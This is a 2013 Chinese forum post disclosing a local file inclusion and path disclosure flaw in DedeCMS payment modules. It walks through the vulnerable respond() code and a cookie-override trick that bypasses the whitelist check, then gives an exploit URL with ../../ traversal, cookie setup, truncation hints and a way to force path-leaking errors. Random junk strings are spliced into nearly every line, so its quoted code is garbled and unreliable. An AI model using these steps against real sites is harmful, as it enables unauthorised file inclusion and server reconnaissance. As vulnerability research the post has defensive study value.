找回密码
 立即注册
查看: 2683|回复: 0
打印 上一主题 下一主题

dedecms本地文件包含及物理路径泄露0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:25:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)* l) ^8 R8 e6 q+ o& I, i+ g' m& Q

8 S0 u' {  O0 z  T; @! N1 a8 b5 {出现漏洞的两个文件为:9 F- m: r1 h0 J& H2 [3 o
Include/payment/alipay.php
1 D# n+ x. o* \( o) Y, O0 R$ D' M# bInclude/payment/yeepay.php4 C5 j$ [7 o% {  w  _& e
漏洞均出现在respond方法里,估计这两个文件是临时工写的。
, f+ ?& j) X9 `6 U& e' C# M! R1 \5 M0 Q0 \; q
Include/payment/alipay.php
+ l0 H# J* t2 n, ]+ p6 Y5 L2 u4 Z7 D  Q: _" |/ \# [
......
1 \1 J) H# K% v! }/ I6 o   function respond(): _- D0 C) l5 u" U9 d- M, g% e
    {" Y% b% l5 Z8 ]) k
        if (!empty($_POST))! w5 f9 n" t! I& E
        {
! W) i4 I5 U4 W$ u            foreach($_POST as $key => $data)
8 Y' m  n' K, s/ g/ U7 x$ e+ g            {  q6 O* L) |2 {: g$ h7 W
                $_GET[$key] = $data;; y7 v! X, f1 P* D' o
            }
! ]9 b3 b! h5 ^& {4 t  |# ?        }* r" V( X& ?( A. S9 Q- n! F1 ~* c" l
        /* 引入配置文件 */! o% j# w: U% x% R
        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
' U/ D$ |3 d! O  I! R5 v: P......
7 D, y1 q" R- H9 I
* r, ?; H. f. R& e) s' W$ w, B0 M, P+ b: a$ j, n& x# x& D
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。4 U! ~. V5 A& l
; |# m7 E4 J& }# y& r
Include/payment/yeepay.php3 n1 T( t& c& r4 S- |5 v5 U7 w
1 \2 Q: s1 c' O' Z
1 `, w% h' O6 G8 v0 X# s

% D$ _- T; G$ G$ v" W, X3 P......
* B0 o0 K4 A* @5 R2 A& D    function respond()
; Z! z0 H' b9 p2 z7 l    {& c8 s3 r6 T1 b5 g
- L& ~$ i; v( a: }& g  n
        /* 引入配置文件 */# L/ h# L  R9 ^. v" X
        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';: O0 m8 l0 `2 Q/ w

" \' p4 e3 [* ]+ B; t+ ?$ }( M% d        $p1_MerId = trim($payment['yp_account']);- T; e( _3 x2 S9 x
        $merchantKey = trim($payment['yp_key']);. i! [" R4 `8 g! b+ a/ _9 A4 c
......
+ N$ U5 B4 ]" G% K) n6 y
% k) d5 T  O# e" X" P. I& b) \0 E1 `" c
& q% ]8 l1 U% I* Z6 T& L$ o  |

5 {9 O7 }9 g4 N$ X大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。" S6 W4 m# Q. }

) j1 K7 ^# W. ^# x! w0 g这两个方法在plus/carbuyaction.php文件调用。$ h  D& i% Q* Q$ U# w! Q

/ [  ]- o- b: I$ L5 `/ a. D* yplus/carbuyaction.php! @- _; \/ v( A- p/ T. d0 `/ L

; c6 O6 n5 ]. w......" {$ d# ?. N! x# N- C
} else if ($dopost == 'return') {
2 W- @8 a3 B7 U* n2 @1 y+ D    $write_list = array('alipay', 'bank', 'cod', 'yeepay');3 Z$ q) ^/ T9 k$ l
    if (in_array($code, $write_list))# T& r, U& J5 b& r
    {
3 l$ K, f9 x9 e. Y0 t  |        require_once DEDEINC.'/payment/'.$code.'.php';
. G0 {! Z7 A, U  _4 u  S* N6 B        $pay = new $code;
! `3 U  {* Z+ S2 P9 d5 E7 G        $msg=$pay->respond();
/ R. J* I  C( U        ShowMsg($msg, "javascript:;", 0, 3000);& f+ K1 f' }8 p5 o! n
        exit();  & k1 L4 l9 o, ~8 [
    } else {
9 @1 v3 G  V7 @6 r: q        exit('Error:File Type Can\'t Recognized!');
' U, W/ R8 l" j! T4 C, X    }' ?6 L' ?+ g& D( \% ^
}, Z8 M4 H% r2 S  `" J/ l6 B
......
# H6 [; U4 q# U4 P: s8 W) y 0 `+ l4 w. r) M1 o- L; k& J5 }* g, V
* O' M' P5 s( D: w& O

& i8 Y3 i/ l0 B! ~" I7 h- y- y+ l3 I& s
1 M4 ^$ d/ x  W8 w
# b) o" |; I. o$ V
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。  a; H* P2 G2 b7 q
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
& l5 G8 C$ D6 l! S% B- F" [( a1 C/ @& k
回到include/common.inc.php来看看他的机制。
$ d  o# c  n6 I1 C; U5 k4 {# ^6 O  X  e# \& L9 k5 ]

8 i2 J0 e( \! [1 l# y$ i& Z
0 E9 O- C1 M) o7 [" |......& h* s5 [5 @7 {. C' P& n
foreach(Array('_GET','_POST','_COOKIE') as $_request)
/ X) a: x8 `7 ?& ~{
1 f+ b9 X: y7 W) [        foreach($$_request as $_k => $_v)
7 B4 @$ P" P4 N        {+ a) y! M+ v, H; W
                if($_k == 'nvarname') ${$_k} = $_v;
$ y7 C- f5 a& Y* j& X- X                else ${$_k} = _RunMagicQuotes($_v);
( ?: O1 v/ Z* L% g        }
2 `; F# L0 j, i( U}
! I8 w5 U+ P; T3 H0 A0 B! @# D% F......
' L+ Z5 s3 _7 {" D  A大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
) Y9 D$ v/ X4 j, G, j3 a由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表